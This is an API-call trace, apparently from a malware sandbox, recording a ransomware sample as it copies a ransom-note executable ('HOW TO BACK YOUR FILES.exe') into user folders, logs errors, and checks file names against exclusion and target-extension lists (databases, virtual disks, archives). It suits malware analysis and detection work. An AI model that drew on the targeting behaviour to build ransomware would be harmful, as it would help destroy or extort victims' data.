	[0053.485] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\Documents\\My Videos", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Documents\\My Videos") returned="C:\\Users\\Default\\Documents\\My Videos"
	[0053.485] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bca10 | out: hHeap=0x580000) returned 1
	[0053.485] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0053.485] lstrlenW (lpString="C:\\Users\\Default\\Documents\\My Videos") returned 36
	[0053.485] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Documents\\My Videos" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos") returned="C:\\Users\\Default\\Documents\\My Videos"
	[0053.485] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0053.485] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\documents\\my videos\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0053.486] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0053.486] GetLastError () returned 0x0
	[0053.486] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0053.486] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0053.486] CloseHandle (hObject=0x15c) returned 1
	[0053.486] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0053.486] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0053.486] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0xffffffff
	[0053.486] GetLastError () returned 0x5
	[0053.486] wsprintfA (in: param_1=0x119f5f0, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Default\\Documents\\My Videos\\* FindFirstFile error 5\r\n") returned 70
	[0053.486] lstrlenA (lpString="[ERROR] C:\\Users\\Default\\Documents\\My Videos\\* FindFirstFile error 5\r\n") returned 70
	[0053.486] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0053.487] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x22c4
	[0053.487] WriteFile (in: hFile=0x15c, lpBuffer=0x119f5f0*, nNumberOfBytesToWrite=0x46, lpNumberOfBytesWritten=0x119e2bc, lpOverlapped=0x0 | out: lpBuffer=0x119f5f0*, lpNumberOfBytesWritten=0x119e2bc*=0x46, lpOverlapped=0x0) returned 1
	[0053.487] CloseHandle (hObject=0x15c) returned 1
	[0053.487] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7bd0
	[0053.487] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\Documents\\My Pictures", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures") returned="C:\\Users\\Default\\Documents\\My Pictures"
	[0053.487] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bcb18 | out: hHeap=0x580000) returned 1
	[0053.487] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7bc8 | out: hHeap=0x580000) returned 1
	[0053.487] lstrlenW (lpString="C:\\Users\\Default\\Documents\\My Pictures") returned 38
	[0053.487] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Documents\\My Pictures" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures") returned="C:\\Users\\Default\\Documents\\My Pictures"
	[0053.487] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0053.487] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\documents\\my pictures\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0053.488] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0053.488] GetLastError () returned 0x0
	[0053.488] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0053.488] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0053.488] CloseHandle (hObject=0x15c) returned 1
	[0053.488] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0053.488] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0053.488] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0xffffffff
	[0053.488] GetLastError () returned 0x5
	[0053.488] wsprintfA (in: param_1=0x119f5f0, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Default\\Documents\\My Pictures\\* FindFirstFile error 5\r\n") returned 72
	[0053.488] lstrlenA (lpString="[ERROR] C:\\Users\\Default\\Documents\\My Pictures\\* FindFirstFile error 5\r\n") returned 72
	[0053.488] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0053.489] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x230a
	[0053.489] WriteFile (in: hFile=0x15c, lpBuffer=0x119f5f0*, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0x119e2bc, lpOverlapped=0x0 | out: lpBuffer=0x119f5f0*, lpNumberOfBytesWritten=0x119e2bc*=0x48, lpOverlapped=0x0) returned 1
	[0053.489] CloseHandle (hObject=0x15c) returned 1
	[0053.489] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b90
	[0053.489] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\Documents\\My Music", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Documents\\My Music") returned="C:\\Users\\Default\\Documents\\My Music"
	[0053.489] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdf78 | out: hHeap=0x580000) returned 1
	[0053.489] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b88 | out: hHeap=0x580000) returned 1
	[0053.489] lstrlenW (lpString="C:\\Users\\Default\\Documents\\My Music") returned 35
	[0053.489] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Documents\\My Music" | out: lpString1="C:\\Users\\Default\\Documents\\My Music") returned="C:\\Users\\Default\\Documents\\My Music"
	[0053.489] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0053.489] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\documents\\my music\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0053.490] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0053.490] GetLastError () returned 0x0
	[0053.490] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0053.490] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0053.490] CloseHandle (hObject=0x15c) returned 1
	[0053.490] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0053.490] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0053.490] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0xffffffff
	[0053.490] GetLastError () returned 0x5
	[0053.490] wsprintfA (in: param_1=0x119f5f0, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Default\\Documents\\My Music\\* FindFirstFile error 5\r\n") returned 69
	[0053.490] lstrlenA (lpString="[ERROR] C:\\Users\\Default\\Documents\\My Music\\* FindFirstFile error 5\r\n") returned 69
	[0053.490] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0053.490] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2352
	[0053.490] WriteFile (in: hFile=0x15c, lpBuffer=0x119f5f0*, nNumberOfBytesToWrite=0x45, lpNumberOfBytesWritten=0x119e2bc, lpOverlapped=0x0 | out: lpBuffer=0x119f5f0*, lpNumberOfBytesWritten=0x119e2bc*=0x45, lpOverlapped=0x0) returned 1
	[0053.491] CloseHandle (hObject=0x15c) returned 1
	[0053.491] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b70
	[0053.491] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\Desktop", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Desktop") returned="C:\\Users\\Default\\Desktop"
	[0053.491] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca110 | out: hHeap=0x580000) returned 1
	[0053.491] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0053.491] lstrlenW (lpString="C:\\Users\\Default\\Desktop") returned 24
	[0053.491] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Desktop" | out: lpString1="C:\\Users\\Default\\Desktop") returned="C:\\Users\\Default\\Desktop"
	[0053.491] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0053.491] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\desktop\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0053.491] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0053.492] GetLastError () returned 0x0
	[0053.492] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0053.492] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0053.492] CloseHandle (hObject=0x15c) returned 1
	[0053.492] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0053.492] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0053.492] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Desktop\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e353c70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e353c70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca110
	[0053.492] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.492] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0053.492] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0053.492] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e353c70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e353c70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.492] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.492] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0053.492] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0053.492] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0053.492] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0053.492] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.492] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0053.492] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0053.492] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0053.492] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0053.492] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0053.492] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0053.492] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0053.492] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0053.493] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0053.493] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0053.493] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0053.493] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0053.493] lstrlenW (lpString="desktop.ini") returned 11
	[0053.493] lstrlenW (lpString="C:\\Users\\Default\\Desktop\\*") returned 26
	[0053.493] lstrcpyW (in: lpString1=0x119e63a, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0053.493] lstrlenW (lpString="desktop.ini") returned 11
	[0053.493] lstrlenW (lpString="Apollon865") returned 10
	[0053.493] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0053.493] lstrlenW (lpString=".dll") returned 4
	[0053.493] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0053.493] lstrlenW (lpString=".lnk") returned 4
	[0053.493] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0053.493] lstrlenW (lpString=".ini") returned 4
	[0053.493] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0053.493] lstrlenW (lpString=".sys") returned 4
	[0053.493] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0053.493] lstrlenW (lpString="desktop.ini") returned 11
	[0053.493] lstrlenW (lpString="bak") returned 3
	[0053.493] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0053.494] lstrlenW (lpString="ba_") returned 3
	[0053.494] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0053.494] lstrlenW (lpString="dbb") returned 3
	[0053.494] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0053.494] lstrlenW (lpString="vmdk") returned 4
	[0053.494] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0053.494] lstrlenW (lpString="rar") returned 3
	[0053.494] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0053.494] lstrlenW (lpString="zip") returned 3
	[0053.494] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0053.494] lstrlenW (lpString="tgz") returned 3
	[0053.494] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0053.494] lstrlenW (lpString="vbox") returned 4
	[0053.494] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0053.494] lstrlenW (lpString="vdi") returned 3
	[0053.494] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0053.494] lstrlenW (lpString="vhd") returned 3
	[0053.494] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0053.494] lstrlenW (lpString="vhdx") returned 4
	[0053.494] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0053.494] lstrlenW (lpString="avhd") returned 4
	[0053.494] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0053.494] lstrlenW (lpString="db") returned 2
	[0053.494] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0053.494] lstrlenW (lpString="db2") returned 3
	[0053.494] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0053.494] lstrlenW (lpString="db3") returned 3
	[0053.494] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0053.494] lstrlenW (lpString="dbf") returned 3
	[0053.494] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0053.494] lstrlenW (lpString="mdf") returned 3
	[0053.494] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0053.494] lstrlenW (lpString="mdb") returned 3
	[0053.494] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0053.495] lstrlenW (lpString="sql") returned 3
	[0053.495] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0053.495] lstrlenW (lpString="sqlite") returned 6
	[0053.495] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0053.495] lstrlenW (lpString="sqlite3") returned 7
	[0053.495] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0053.495] lstrlenW (lpString="sqlitedb") returned 8
	[0053.495] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0053.495] lstrlenW (lpString="xml") returned 3
	[0053.495] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0053.495] lstrlenW (lpString="$er") returned 3
	[0053.495] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0053.495] lstrlenW (lpString="4dd") returned 3
	[0053.495] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0053.495] lstrlenW (lpString="4dl") returned 3
	[0053.495] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0053.495] lstrlenW (lpString="^^^") returned 3
	[0053.495] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0053.495] lstrlenW (lpString="abs") returned 3
	[0053.495] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0053.495] lstrlenW (lpString="abx") returned 3
	[0053.495] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0053.495] lstrlenW (lpString="accdb") returned 5
	[0053.495] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0053.495] lstrlenW (lpString="accdc") returned 5
	[0053.495] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0053.495] lstrlenW (lpString="accde") returned 5
	[0053.495] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0053.495] lstrlenW (lpString="accdr") returned 5
	[0053.495] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0053.495] lstrlenW (lpString="accdt") returned 5
	[0053.495] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0053.495] lstrlenW (lpString="accdw") returned 5
	[0053.495] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0053.495] lstrlenW (lpString="accft") returned 5
	[0053.496] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0053.496] lstrlenW (lpString="adb") returned 3
	[0053.496] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0053.496] lstrlenW (lpString="adb") returned 3
	[0053.496] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0053.496] lstrlenW (lpString="ade") returned 3
	[0053.496] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0053.496] lstrlenW (lpString="adf") returned 3
	[0053.496] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0053.496] lstrlenW (lpString="adn") returned 3
	[0053.496] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0053.496] lstrlenW (lpString="adp") returned 3
	[0053.496] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0053.496] lstrlenW (lpString="alf") returned 3
	[0053.496] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0053.496] lstrlenW (lpString="ask") returned 3
	[0053.496] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0053.496] lstrlenW (lpString="btr") returned 3
	[0053.496] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0053.496] lstrlenW (lpString="cat") returned 3
	[0053.496] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0053.496] lstrlenW (lpString="cdb") returned 3
	[0053.496] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0053.496] lstrlenW (lpString="ckp") returned 3
	[0053.496] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0053.496] lstrlenW (lpString="cma") returned 3
	[0053.496] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0053.496] lstrlenW (lpString="cpd") returned 3
	[0053.496] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0053.496] lstrlenW (lpString="dacpac") returned 6
	[0053.496] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0053.496] lstrlenW (lpString="dad") returned 3
	[0053.496] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0053.496] lstrlenW (lpString="dadiagrams") returned 10
	[0053.497] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0053.497] lstrlenW (lpString="daschema") returned 8
	[0053.497] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0053.497] lstrlenW (lpString="db-journal") returned 10
	[0053.497] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0053.497] lstrlenW (lpString="db-shm") returned 6
	[0053.497] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0053.497] lstrlenW (lpString="db-wal") returned 6
	[0053.497] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0053.497] lstrlenW (lpString="dbc") returned 3
	[0053.497] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0053.497] lstrlenW (lpString="dbs") returned 3
	[0053.497] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0053.497] lstrlenW (lpString="dbt") returned 3
	[0053.497] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0053.497] lstrlenW (lpString="dbv") returned 3
	[0053.497] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0053.497] lstrlenW (lpString="dbx") returned 3
	[0053.497] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0053.497] lstrlenW (lpString="dcb") returned 3
	[0053.497] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0053.497] lstrlenW (lpString="dct") returned 3
	[0053.497] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0053.497] lstrlenW (lpString="dcx") returned 3
	[0053.497] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0053.497] lstrlenW (lpString="ddl") returned 3
	[0053.497] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0053.497] lstrlenW (lpString="dlis") returned 4
	[0053.497] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0053.497] lstrlenW (lpString="dp1") returned 3
	[0053.497] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
